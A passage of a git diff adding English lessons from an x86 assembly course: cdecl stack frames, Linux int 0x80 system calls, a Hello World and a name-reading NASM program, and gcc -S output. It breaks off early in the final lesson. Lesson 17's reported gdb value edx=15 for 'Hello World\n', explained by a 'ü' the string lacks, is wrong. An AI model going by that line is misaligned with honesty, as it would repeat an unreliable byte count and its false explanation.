+☐ ebp = FIXED ANCHOR (esp keeps moving, can't be trusted):
+ - PROLOGUE: push ebp ; mov ebp, esp
+ - Arguments: 1st = [ebp+8] , 2nd = [ebp+12] ([ebp]=old ebp, [ebp+4]=return address, above them the arguments)
+ - EPILOGUE: pop ebp ; ret
+☐ Verified: Topla(3,5)=8 ; Topla(10,20)=30. gdb: [ebp+8]=3, [ebp+12]=5, [ebp+4]=return address.
+☐ Why it matters: the C compiler produces exactly this pattern too (you'll see in 19). cdecl = everyone's common language.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [15_call_ve_ret.md](./15_call_ve_ret.md) — `call`/`ret` and the return address on the stack (`[ebp+4]`); this lesson lays a "passing data" layer on top of it
+- [14_stack.md](./14_stack.md) — Where the arguments and `ebp` live; `push`/`pop` and `esp`'s movement. The prologue/epilogue are pure stack work
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `[ebp+8]` = "the box at address ebp+8"; reading an argument is exactly following a pointer
+- [09_aritmetik.md](./09_aritmetik.md) — The `add` inside the function; the contract just wraps around it
+
+---
+
+**Previous topic:** [15_call_ve_ret.md](./15_call_ve_ret.md)
+**Next topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
new file mode 100644
index 0000000..619ed59
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/17_sistem_cagrilari.md
@@ -0,0 +1,167 @@
+# 🖥️ x86 Assembly — System Calls: "Hello World" on the Screen
+
+> For all these lessons our programs ran in the same silence: they did a calculation, put the result in the **exit code**, and we secretly read it with `echo $?`. We never printed a single letter to the screen. Today we break that silence.
+> And along the way, those two mysterious lines we've copied to the end of every program — `mov eax, 1` / `int 0x80` — will finally be explained. The debt I've owed since lesson 06, saying "just write it like this for now, I'll explain it later," is paid off in this lesson.
+
+> **There is code in this lesson and we run all of it.** Every program, every output, and every GDB line below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Can't a Program Write to the Screen Directly?](#why-cant-a-program-write-to-the-screen-directly)
+- [System Calls and `int 0x80`](#system-calls-and-int-0x80)
+- [The First Real Output: Hello World](#the-first-real-output-hello-world)
+- [An Old Debt: What Was `mov eax, 1`?](#an-old-debt-what-was-mov-eax-1)
+
+---
+
+## Why Can't a Program Write to the Screen Directly?
+
+Intuition might say: "to write to the screen I'll just write something into the screen's memory, and that's that." But on a modern computer you **can't** — and this isn't a shortcoming, it's a deliberate security wall.
+
+Think about it: dozens of programs are running at the same time (browser, music, terminal...). If each of them could touch the screen, the disk, or the network card however it pleased, it would be complete chaos — one would write into another's window, one would overwrite another's file. That's why direct access to hardware (screen, disk, keyboard) belongs **only to the operating system** (the OS — the Linux kernel). Your program runs on the "user" side, in a locked room.
+
+So how are you going to write to the screen? **By asking the OS to do it for you.** You say, "I can't write to the screen, but you can — would you print this text for me?" The name of this request is a **system call**.
+
+> 🔑 A program can't touch hardware (screen/disk/keyboard) **directly** — that privilege belongs only to the operating system (for security + order). The program's only path is to **ask** the OS. This request is called a **system call** (syscall).
+
+---
+
+## System Calls and `int 0x80`
+
+A system call means telling the OS "do this job" — but the OS can do hundreds of jobs (write, read, open a file, exit...). You say which one you want with a **number**. On 32-bit Linux, a few basic numbers:
+
+| Number | Name | What it does |
+|:---:|---|---|
+| 1 | `sys_exit` | end the program |
+| 3 | `sys_read` | read input (e.g. from the keyboard) |
+| 4 | `sys_write` | write somewhere (e.g. to the screen) |
+
+The way to deliver the request to the OS — **on 32-bit Linux** — is the `int 0x80` instruction. `int 0x80` means "knock on the OS's door"; the worker stops, control passes to the OS, the OS sees the request and does it. But the OS asks "which job, with which details?"; you put the answer into **registers** beforehand. The rule:
+
+- **`eax`** = system call number (which job).
+- **`ebx`, `ecx`, `edx`** = the arguments of that job (in order).
+
+Sound familiar? This is exactly the calling convention from lesson 16 — only this time the "function" you're calling is the operating system, and you put the arguments into registers instead of the stack. Same idea: "put the data in the agreed-upon places, then call."
+
+> 🔑 A system call = asking the OS to do a job. **`eax`** = job number (1 exit, 3 read, 4 write), **`ebx`/`ecx`/`edx`** = arguments, then **`int 0x80`** = "knock on the door, OS takes over." (This is 32-bit Linux's way.)
+
+---
+
+## The First Real Output: Hello World
+
+To write to the screen we use `sys_write` (number 4). Its arguments are:
+
+- `ebx` = **where** to write — this is called the *file descriptor*; **`1` = the screen** (stdout).
+- `ecx` = **what** to write — the **address of the text in memory** (from lesson 08: the address of a label).
+- `edx` = **how many bytes** to write — the length of the text.
+
+So: "to place number 1 (the screen), write the text at this address, this many bytes." We put the text into a label in `section .data`, just like in lesson 08. `merhaba.asm`:
+
+```nasm
+section .data
+ mesaj: db "Hello World", 10 ; 10 = end of line (newline, '\n')
+ uzunluk equ $ - mesaj ; current address - mesaj address = number of bytes
+
+section .text
+ global _start
+_start:
+ mov eax, 4 ; sys_write
+ mov ebx, 1 ; where: 1 = screen (stdout)
+ mov ecx, mesaj ; what: the text's address
+ mov edx, uzunluk ; how many bytes
+ int 0x80 ; ask the OS: write!
+
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code 0
+ int 0x80
+```
+
+There are two small new things. `db "...", 10`: `db` (the byte sibling of `dd` from lesson 08) puts the text into memory byte by byte; the trailing `10` is the newline character (so the cursor drops to the next line). `uzunluk equ $ - mesaj`: `$` means "the current address"; subtracting the address of `mesaj` from it gives the **number of bytes** in between — so you don't have to count the length by hand. Assemble, run:
+
+```
+nasm -f elf32 merhaba.asm -o merhaba.o
+ld -m elf_i386 merhaba.o -o merhaba
+./merhaba
+```
+
+```
+Hello World
+```
+
+**There's the moment.** After all those calculations, decisions, loops, and functions — for the first time the program told you something **directly**. Not a number hidden in the exit code; text on the screen, with your own eyes.
+
+Let's see in GDB that the registers really are set up right before `int 0x80`:
+
+```
+(gdb) starti
+(gdb) si (×4 — skip the four movs)
+(gdb) print $eax → 4 (sys_write)
+(gdb) print $ebx → 1 (screen)
+(gdb) print $edx → 15 (number of bytes)
+(gdb) x/s $ecx → 0x804a000: "Hello World\n"
+(gdb) x/i $eip → int 0x80
+```
+
+All four registers are exactly in place: job number 4, target 1, length 15 (15 rather than 14 because the letter ü takes 2 bytes in UTF-8 — but `equ` counted this for you), and `ecx` points right at our text. When `int 0x80` fires, the OS reads these and prints to the screen.
+
+> 🔑 Writing to the screen = `sys_write` (eax=4): `ebx`=1 (screen), `ecx`=address of the text, `edx`=number of bytes, then `int 0x80`. You put the text down with `db "...", 10` (10=newline), and `equ $ - label` counts the length for you.
+
+> 💡 **You might be wondering:** *"`sys_read` (3) is in the table too — can we read input as well?"* Yes, by the same logic: `sys_read` takes some text from the keyboard and puts it into memory (ebx=0 = keyboard/stdin, ecx=where, edx=at most how many bytes). You've learned to write to the screen; we'll build **reading** and combine the two into a truly interactive program — *"one that asks you for something and responds based on your answer"* — in the next lesson (18).
+
+---
+
+## An Old Debt: What Was `mov eax, 1`?
+
+Now go back and look at the program's **last two lines**:
+
+```nasm
+ mov eax, 1 ; sys_exit
+ mov ebx, 0 ; exit code
+ int 0x80
+```
+
+Recognize it? This is the pattern you've copied to the end of **every** program since lesson 06. It turns out that too was a system call — it always was, we'd just deferred the explanation until today. Now you can read every piece of it:
+
+- `mov eax, 1` → **`sys_exit`** (call number 1): "end the program."
+- `mov ebx, 0` → the argument of the exit call: **the exit code.**
+- `int 0x80` → ask the OS.
+
+And here's the point that ties the whole course together: back in lesson 06 we said "put the result in `ebx`, and `echo $?` will show it" — **why `ebx`?** Because `sys_exit`'s exit-code argument sits in `ebx` (the rule above: the first argument is `ebx`). That number `echo $?` read was actually the `ebx` you gave as an argument to `sys_exit`. You've been making a system call all along — you just didn't know its name.
+
+> 🔑 The `mov eax, 1` / `int 0x80` you've used since lesson 06 = the **`sys_exit`** system call; `ebx` = the exit-code argument. The number `echo $?` read was this very `ebx`. That was the answer to "why do we put the result in ebx?" — the system call rule.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A program CAN'T touch hardware (screen/disk/keyboard) DIRECTLY; only the OS can (security+order). The program ASKS the OS.
+☐ This request = SYSTEM CALL. On 32-bit Linux:
+ - eax = call number (1=exit, 3=read, 4=write)
+ - ebx, ecx, edx = arguments
+ - int 0x80 = "knock on the door", control passes to the OS. (The OS version of lesson 16's calling convention.)
+☐ WRITE TO SCREEN = sys_write (eax=4): ebx=1(screen), ecx=address of the text, edx=number of bytes.
+ - Text: db "Hello World", 10 (10=newline). Length: equ $ - mesaj (counts automatically).
+ - Verified: "Hello World" printed to the screen; gdb: eax=4, ebx=1, edx=15, ecx→"Hello World\n".
+☐ DEBT PAID: mov eax,1 / int 0x80 = sys_exit; ebx = exit code. The number echo $? read = that ebx.
+ "Why put the result in ebx?" — because sys_exit's argument is ebx. (Since lesson 06 we'd been making syscalls without realizing it.)
+☐ Next up: sys_read (input) + combine it all → an interactive program that asks your name and greets you (18).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — where `mov eax, 1` / `int 0x80` and the "put the result in ebx, read it with `echo $?`" pattern first appeared; the debt was incurred here and paid off here
+- [16_calling_convention.md](./16_calling_convention.md) — the idea "put the arguments in the agreed-upon places, then call"; the syscall is that idea applied to the OS (registers instead of the stack)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, labels and addresses; `ecx = mesaj` is an address, and `db` is the byte form of `dd`
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "The operating system is the worker's boss"; why only the OS touches hardware, the big picture
+
+---
+
+**Previous topic:** [16_calling_convention.md](./16_calling_convention.md)
+**Next topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
new file mode 100644
index 0000000..32f9fe4
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/18_ilk_etkilesimli_program.md
@@ -0,0 +1,179 @@
+# 🗣️ x86 Assembly — First Interactive Program: Ask a Name, Say Hello
+
+> In 17 we crossed a big threshold: the program **spoke** for the first time (printing "Hello World" to the screen with `sys_write`). But the conversation was one-way — the program talked, you listened. For a real interaction we need the second half: the program **listening to you.**
+> This lesson is a milestone. There's very little new here; the real work is to combine the pieces you've been collecting since the start of the course — memory, register, `mov`, system call — into **one real program.** By the end you'll have a program you wrote yourself, from scratch, that asks you a question and responds based on your answer.
+
+> **This lesson has code and we run all of it.** The program below and its output are real: I compiled and ran it on my own machine (I typed the input on the keyboard).
+
+---
+
+## 📋 Table of Contents
+
+- [The Missing Piece: Reading Input — `sys_read`](#the-missing-piece-reading-input--sys_read)
+- [Where the Input Goes: `section .bss`](#where-the-input-goes-section-bss)
+- [Put It All Together: The Name-Asking Program](#put-it-all-together-the-name-asking-program)
+- [How Much Was Read? The Return of `eax`](#how-much-was-read-the-return-of-eax)
+
+---
+
+## The Missing Piece: Reading Input — `sys_read`
+
+In 17 we saw three numbers in the system-call table: `1` exit, `4` write, and one we haven't used yet, `3` — **`sys_read`** (read). You learned how to write to the screen; now the reverse: **reading** from the keyboard.
+
+`sys_read` is the **mirror image** of `sys_write`. The same three arguments, but the direction is reversed:
+
+| | `sys_write` (write) | `sys_read` (read) |
+|---|---|---|
+| `eax` | 4 | **3** |
+| `ebx` (to where / from where) | 1 = screen (stdout) | **0 = keyboard (stdin)** |
+| `ecx` | address of the data to write | **address where the read data goes** |
+| `edx` | how many bytes to write | **at most how many bytes to read** |
+
+So `sys_read`: "from location `0` (the keyboard), read at most `edx` bytes and put them where `ecx` points." When the user types something and presses Enter, that text fills the memory region you specified.
+
+> 🔑 `sys_read` (eax=**3**) = read from the keyboard; the mirror of `sys_write`. `ebx=0` (keyboard/stdin), `ecx` = the address where the read data **goes**, `edx` = at most how many bytes. What the user types fills the memory at `ecx`.
+
+---
+
+## Where the Input Goes: `section .bss`
+
+A small problem: `sys_read` will put what it reads somewhere — but where? We need an **empty**, pre-allocated memory region (a "buffer"). We could use `section .data` from 08, but that's for data whose **value is known up front** (like `db "Hello"`). Our input buffer has no starting value — we just want to say "reserve me 32 bytes of empty space."
+
+There's a separate section for this: **`section .bss`** — memory that has no starting value, just **reserved** space. You ask for room inside it with `resb` ("reserve bytes"):
+
+```nasm
+section .bss
+ isim: resb 32 ; reserve a 32-byte empty buffer called 'isim'
+```
+
+`resb 32` means "32 bytes of empty space, named `isim`." Unlike `db` it doesn't write anything into it — it just opens a blank notebook page for `sys_read` to come and fill.
+
+> 🔑 Data with a known starting value → `section .data` (`db`, 08). An empty buffer to be filled (for input) → `section .bss` (`resb N` = reserve N bytes of empty space). The input buffer goes in `.bss` because it's empty to begin with.
+
+---
+
+## Put It All Together: The Name-Asking Program
+
+Now let's combine the pieces. The program's plan in plain English:
+
+1. Write **"What's your name? "** to the screen. (`sys_write`, 17)
+2. **Read** the name from the keyboard, put it in the buffer. (`sys_read`)
+3. Write **"Hello, "** to the screen.
+4. Write the **name** that was read back out.
+5. Exit. (`sys_exit`, 17)
+
+`selam.asm`:
+
+```nasm
+section .data
+ soru: db "What's your name? "
+ soru_uz equ $ - soru
+ selam: db "Hello, "
+ selam_uz equ $ - selam
+
+section .bss
+ isim: resb 32 ; empty buffer for input
+
+section .text
+ global _start
+_start:
+ ; 1) write the question
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, soru
+ mov edx, soru_uz
+ int 0x80
+
+ ; 2) read the name
+ mov eax, 3 ; sys_read
+ mov ebx, 0 ; keyboard
+ mov ecx, isim ; put it in the buffer
+ mov edx, 32 ; at most 32 bytes
+ int 0x80
+ mov esi, eax ; save the number of bytes read (explained below)
+
+ ; 3) write "Hello, "
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, selam
+ mov edx, selam_uz
+ int 0x80
+
+ ; 4) write the name back (exactly as many bytes as were read)
+ mov eax, 4
+ mov ebx, 1
+ mov ecx, isim
+ mov edx, esi ; number of bytes read
+ int 0x80
+
+ ; 5) exit
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+The only new line is `mov esi, eax` (in a moment). The rest is familiar: four system calls with `mov`s sprinkled between them. Assemble it, run it, and **when it asks you, type your name:**
+
+```
+nasm -f elf32 selam.asm -o selam.o
+ld -m elf_i386 selam.o -o selam
+./selam
+```
+
+```
+What's your name? Ada
+Hello, Ada
+```
+
+(Above, `Ada` is what you typed; the program read it and greeted you.) **That's it.** At the start of the course "the computer was a box"; now you've written a program for that box from scratch, one instruction at a time, that asks you a question and responds based on your answer. Something that asks you something, listens, and answers — a small but **complete** interaction.
+
+---
+
+## How Much Was Read? The Return of `eax`
+
+Let's return to that `mov esi, eax` line I didn't explain, because it solves a small but important subtlety. Names have different lengths: "Ada" is 3 letters, "Rüzgar" is longer. When we write the name back out, what do we put in `edx` (how many bytes)? If we write a fixed number, we either cut the name short or print extra (garbage from the buffer).
+
+Here's the trick: **system calls return a result, and that result comes back in `eax`** (recall the "return value is in eax" rule from 16 — same thing here). When `sys_read` finishes, `eax` tells you **how many bytes it read.** So we immediately save it into `esi` (`mov esi, eax`), then when writing the name we say `edx = esi` — that way it's **exactly what the user typed**, no more, no less. `esi` is a general-purpose register just like `eax`, `ebx` — one member of that handful you met in 04.5, put to use here for the first time. But why `esi` specifically? Because the `sys_write` that comes right after does `mov eax, 4` and would **overwrite** that value — if the read result had stayed in `eax` it would have been lost. But we never touch `esi` between the two calls, so the number waits there safe and sound. Any other register we don't touch would have worked too; the point is to get it out of `eax` and into a safe place.
+
+```nasm
+ int 0x80 ; sys_read
+ mov esi, eax ; eax = number of bytes read → save it
+ ...
+ mov edx, esi ; when writing back: exactly that many bytes
+```
+
+That's why in the output we also dropped to the next line after the name: when the user presses Enter, that line-ending (`10`) is also included in the bytes read (the `10` from 17), `sys_read` counted it too, and when we wrote it back the cursor moved down a line. So the behavior isn't a "coincidence" — it's the result of honestly using the number `eax` returned.
+
+> 🔑 A system call also gives a **return value**, in `eax` (16's rule). For `sys_read` this = **how many bytes were read.** Save it (`mov esi, eax`) and use it as the length when writing back, and you print exactly the input no matter its length. (The user's Enter = the last byte, which counts too.)
+
+> 💡 **You might be wondering:** *"Is this program 'real', or is it still a toy?"* Small but real. It contains the whole skeleton of a professional program: take input from the user, put it in memory, process it, print the result. The only thing missing is **scale** — error checking, more features, bigger structure. But the core loop (in→process→out) is exactly this. From here on it's "more," not "different."
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ sys_read (eax=3) = read from the keyboard; the mirror of sys_write. ebx=0 (keyboard), ecx=where it goes, edx=at most how many bytes.
+☐ Empty input buffer → section .bss: isim: resb 32 (32 bytes of empty space). (Filled data .data/db; empty buffer .bss/resb.)
+☐ Interaction skeleton: write(question) → read(answer) → write(reply) → exit. Four syscalls, mov's between them.
+☐ A system call's RETURN value is in eax (16). sys_read → number of bytes read. Save it (mov esi,eax), and when writing back edx=esi.
+ → You print exactly the input no matter its length (Enter's newline counts too → moves to the next line).
+☐ Verified: "What's your name? " → user types "Ada" → "Hello, Ada". Works with variable-length names.
+☐ MILESTONE: from scratch, one instruction at a time, you wrote a complete interactive program that asks you a question and answers.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — `sys_write`, `int 0x80` and the syscall table; this lesson adds its `sys_read` half and combines the two
+- [16_calling_convention.md](./16_calling_convention.md) — The "return value is in eax" rule; `sys_read` returning the byte count in eax is exactly this
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — `section .data`, label and address; `.bss`/`resb` is its "reserve empty space" sibling
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — From the first "does-nothing" program to here: now the program asks, listens, answers
+
+---
+
+**Previous topic:** [17_sistem_cagrilari.md](./17_sistem_cagrilari.md)
+**Next topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
new file mode 100644
index 0000000..fa4a2f6
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
@@ -0,0 +1,157 @@
+# 🌉 x86 Assembly — The C-to-Assembly Bridge
+
+> Throughout this course we wrote assembly **by hand** — every `mov`, every `push`, you thought out and placed yourself. But in the real world nobody writes whole programs this way; they write in **higher-level languages** like C, C++, Rust, and then a **compiler** translates them into assembly.
+> So what does that compiler produce? Here is the surprise of this lesson (and the reward of the whole course): what the compiler produces is **the very patterns you wrote by hand in this course.** We'll look at the assembly of a C program and there — `push ebp`, `[ebp+8]`, `add`, `ret` — you'll see nothing but old friends. In that moment, you'll become someone who "can read compiled code."
+
+> **This lesson has code, and we run all of it.** The C source below and the assembly it produces are real: I compiled it with `gcc` on my own machine and took its output.
+
+---
+
+## 📋 Table of Contents
+
+- [Not by Hand, by Compiler: Where Does C Come From?](#not-by-hand-by-compiler-where-does-c-come-from)
+- [Compile a Tiny C Function](#compile-a-tiny-c-function)
+- [Familiar Patterns: The Ones You Wrote by Hand](#familiar-patterns-the-ones-you-wrote-by-hand)
+- [Optimization: Why Did `× 8` Become `shl`?](#optimization-why-did--8-become-shl)
+
+---
+
+## Not by Hand, by Compiler: Where Does C Come From?
+
+Back in 00 we said this: you write assembly → `nasm` (an *assembler*) translates it into machine code. The assembler's job was easy, because assembly was already one-to-one close to machine code — it just turned labels into numbers.
+
+Higher-level languages (like C) sit one layer further up. You write `a + b`; but the processor knows no such thing as "a + b" — it knows `mov`, `add`, registers. The program that does the translation in between is called a **compiler**. The `gcc` we'll use takes C source and **produces assembly** — that is, it does automatically exactly the work you did in your head throughout this course.
+
+And here's the nice part: we can tell `gcc`, "translate, but stop at assembly, don't go all the way to machine code." That way we get to see with our own eyes **which assembly** the compiler produces. Command: `gcc -S` (`-S` = "stop at assembly").
+
+> 🔑 Higher-level languages (C...) are languages the processor doesn't directly understand; the program that translates them into assembly is called a **compiler** (`gcc`). `nasm` translates your asm into machine code; `gcc` translates C into **asm** — that is, the very work you did by hand in this course. With `gcc -S` we can see the asm it produces.
+
+---
+
+## Compile a Tiny C Function
+
+Let's pick a familiar example — the C version of the addition function we wrote by hand in 16. `topla.c`:
+
+```c
+int topla(int a, int b) {
+ return a + b;
+}
+```
+
+In plain terms: "take two numbers (`a`, `b`), return their sum." The same `topla` function from 16, but as three readable lines of C. Now let's tell `gcc` to translate this into 32-bit assembly:
+
+```
+gcc -m32 -S -masm=intel -O0 -fno-pie -fno-pic topla.c -o topla.s
+```
+
+Let's get to know the flags: `-m32` (the 32-bit we've been learning), `-S` (stop at assembly), `-masm=intel` (the Intel syntax used in this course — so it resembles `nasm`), `-O0` (do no optimization, translate plainly). The last two, `-fno-pie -fno-pic`, are a closed box for now: they force the compiler to produce old-style, simple output. Without them, modern gcc would insert extra address-computation code and the output would get murky — and then we couldn't see the clean skeleton. The detail isn't the subject of this course, don't worry. The core of the `topla.s` file it produces:
+
+```nasm
+topla:
+ push ebp
+ mov ebp, esp
+ mov edx, DWORD PTR [ebp+8]
+ mov eax, DWORD PTR [ebp+12]
+ add eax, edx
+ pop ebp
+ ret
+```
+
+Take a minute to look at this output. Is there a single unfamiliar line?
+
+> 💡 **You might be wondering:** *"What's `DWORD PTR [ebp+8]`? We used to write `[ebp+8]`."* Same thing. In `gcc`'s syntax, `DWORD PTR [ebp+8]` = "the **4-byte (dword)** value at address `[ebp+8]`" — in `nasm`, since the size can usually be understood from context, we just wrote `[ebp+8]` for short. Two assemblers have small differences in syntax (just like two dialects); but **the machine instruction they describe is exactly the same.**
+
+---
+
+## Familiar Patterns: The Ones You Wrote by Hand
+
+Now let's **label** that output line by line — and see which lesson each line is familiar from:
+
+```nasm
+topla:
+ push ebp ; ┐ PROLOGUE → lesson 16
+ mov ebp, esp ; ┘ (set up the anchor)
+ mov edx, DWORD PTR [ebp+8] ; 1st argument (a) → lesson 16 ([ebp+8])
+ mov eax, DWORD PTR [ebp+12] ; 2nd argument (b) → lesson 16 ([ebp+12])
+ add eax, edx ; a + b → lesson 09 (add)
+ pop ebp ; ┐ EPILOGUE → lesson 16
+ ret ; ┘ (return to caller) → lesson 15 (ret)
+```
+
+**This table holds the whole reward of the course.** The compiler turned an innocent C line like `a + b` into exactly the skeleton you **built by hand** in 16: set up the `ebp` anchor with the prologue, read the arguments from `[ebp+8]` and `[ebp+12]` (the convention from 16!), sum them with `add` (09) — **the result stays in `eax`, which in cdecl is where the return value lives (16); the "return" part of C's `return a + b;` is exactly this, not a separate instruction** — clean up with the epilogue and return with `ret` (15). Had you looked at this before the course it would have been a mystery; now you **can read it.**
+
+(A small difference: the compiler used `edx` as a scratch register while computing the sum, whereas when we wrote it by hand we used `eax` directly. This is normal — which register it picks as scratch is the compiler's choice; as long as both obey the same convention, the result doesn't change.)
+
+> 🔑 When you translate a C program with `gcc -S`, what you meet are the **patterns** you learned in this course: prologue/epilogue (16), `[ebp+8]` arguments (16), `add`/`sub` (09), `call`/`ret` (15). C is not "magic" — it compiles into these patterns. Learning assembly = **being able to read every compiled program.** This is where the door to reverse engineering opens.
+
+---
+
+## Optimization: Why Did `× 8` Become `shl`?
+
+Above we said `-O0`: "do no optimization, translate plainly." But if you tell the compiler to "**speed it up**" (`-O1`), it behaves far more cleverly — and here you'll see a promise I made you back in 13. In 13 I said "`shl` = ×2ⁿ, compilers turn multiplication by a power of 2 into `shl`, you'll see it in 19." Let's prove it. `carp8.c`:
+
+```c
+int carp8(int x) {
+ return x * 8;
+}
+```
+
+Translate it with `gcc -m32 -S -masm=intel -O1 -fno-pie -fno-pic carp8.c -o carp8.s` (the same flags, the only difference `-O1` instead of `-O0`). What it produces:
+
+```nasm
+carp8:
+ mov eax, DWORD PTR [esp+4] ; take x
+ sal eax, 3 ; x << 3 = x × 8 ← NOT MULTIPLICATION, A SHIFT!
+ ret
+```
+
+**Here is 13's promise.** In 13 I told you `shl`; here gcc wrote `sal` — don't be surprised, this is the instruction you expected: **for shifting left, `sal` and `shl` are exactly the same instruction** (same machine code, same opcode), just two different names. In C you wrote `x * 8`, but the compiler placed no multiplication instruction (`mul`) — instead it placed `sal eax, 3` (shift left by 3 = ×2³ = ×8), because shifting is much faster (13). In C you saw "multiplication"; on the machine there's a **bit shift**. The two give the same result, but the compiler chose the fast one.
+
+A small extra observation: with `-O1` on, there's **not even** a `push ebp`/`mov ebp, esp` prologue — the compiler saw that this tiny function doesn't need the `ebp` anchor, skipped it, and read the argument directly from `[esp+4]`.
+
+Why `[esp+4]` and not `[ebp+8]` like just before? In three steps:
+
+- The moment the function is entered, the **return address** sits at the top of the stack (`[esp]`); the 1st argument is right above it: **`[esp+4]`**.
+- **If** there were a prologue, `push ebp` would push `esp` down 4 bytes, and `mov ebp, esp` would fix the anchor there — so relative to `ebp` the argument would sit 4 bytes farther away: **`[ebp+8]`**.
+- In this function there's **no** prologue, that push never happened; we measure directly from `esp`: **`[esp+4]`**.
+
+("Wasn't `esp` constantly moving, so trusting it was dangerous (16)?" — yes; but this tiny function never touches the stack (no `push`/`pop`/`call`), so `esp` **doesn't budge** from start to finish, and here trusting it is safe.)
+
+(In 16 we said "the prologue is a *convenience*, not an obligation"; here's the proof.) Optimized code looks more "cunning" than what you wrote by hand — but underneath it are always the instructions you know.
+
+> 🔑 With `-O1`/`-O2` (optimization) on, the compiler gets smart: `× 8` → `shl/sal` (13), it drops the unnecessary prologue, it uses registers cunningly. That's why optimized code can look unfamiliar at first glance — but its bricks are always the bricks of this course. In reverse engineering, most of the work is taking apart these "cunning but familiar" patterns.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Higher-level language (C) → COMPILER (gcc) → assembly. (nasm: your asm to machine code; gcc: C to asm.)
+ gcc -m32 -S -masm=intel → SEE the asm the compiler produces (-S = stop at asm).
+☐ int topla(int a,int b){return a+b;} → THE COMPILER PRODUCED THIS:
+ push ebp / mov ebp,esp (PROLOGUE, 16)
+ mov ..., [ebp+8] / [ebp+12] (arguments, 16)
+ add (09)
+ pop ebp / ret (EPILOGUE 16 + ret 15)
+ → i.e. the same as what you wrote BY HAND. C is not magic; it compiles into these patterns.
+☐ Optimization (-O1): x*8 → sal eax,3 (13's ×2ⁿ, a shift not a multiply); the unnecessary prologue is dropped.
+ Optimized code looks "cunning" but its bricks are always this course's.
+☐ THE BIG WIN: knowing assembly = BEING ABLE TO READ EVERY COMPILED PROGRAM. This is the door to reverse engineering.
+☐ DWORD PTR [ebp+8] (gcc) = [ebp+8] (nasm): same instruction, different dialect.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [16_calling_convention.md](./16_calling_convention.md) — The prologue/epilogue and `[ebp+8]` arguments the compiler produces; this lesson is the proof that it's "really like that"
+- [13_bit_islemleri.md](./13_bit_islemleri.md) — The promise "`shl` = ×2ⁿ, compilers turn multiplication into a shift"; here it is, `x*8 → sal eax,3`
+- [09_aritmetik.md](./09_aritmetik.md) — `add`; C's `a + b` comes down to the same instruction
+- [00_buradan_basla.md](./00_buradan_basla.md) — The promise "when you compile a C program and look at its asm you'll see familiar patterns"; here it held true
+
+---
+
+**Previous topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+**Next topic:** [20_buradan_nereye.md](./20_buradan_nereye.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
new file mode 100644
index 0000000..fab3f6d
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
@@ -0,0 +1,131 @@
+# 🧭 x86 Assembly — Where To From Here?
+
+> You did it. In 00 the computer was "a box"; now you can look inside that box and give it orders in its lowest language. This final lesson won't teach a new instruction — instead it will take a look at **where you came from**, then map out **where you can go.**
+> Because this course is not an *ending*, it is a *foundation.* What you learned (how the machine really works) is a floor you can build a great deal on top of. Now let's look at which buildings can be raised on that floor.
+
+> **There is only a single piece of code in this lesson** (a taste of 64-bit), and it is real: I compiled and ran it on my own machine. The rest is a roadmap.
+
+---
+
+## 📋 Table of Contents
+
+- [What Did You Learn? A Short Look Back](#what-did-you-learn-a-short-look-back)
+- [Next Stop: Moving to 64-bit](#next-stop-moving-to-64-bit)
+- [Reverse Engineering: Reading Someone Else's Code](#reverse-engineering-reading-someone-elses-code)
+- [Binary Exploitation: Bending the Flow](#binary-exploitation-bending-the-flow)
+- [Resources and a Final Word](#resources-and-a-final-word)
+
+---
+
+## What Did You Learn? A Short Look Back
+
+Stop for a minute and look at the road you've traveled. When you started this course, even the word "register" was foreign; now you have all of this:
+
+- **The machine model** (Unit 0): memory = numbered boxes, registers = the worker's hands, binary/hexadecimal, how the worker works without ever reasoning.
+- **First instructions** (Unit 1): `mov`, memory & pointers (`[...]`), little-endian, arithmetic (`add`/`sub`, two's complement), and **watching each instruction live** in GDB.
+- **Flow** (Unit 2): flags & `cmp`, jumps (`jmp`/`jz`/`jl`), loops, bit operations — that is, **decision** and **repetition.**
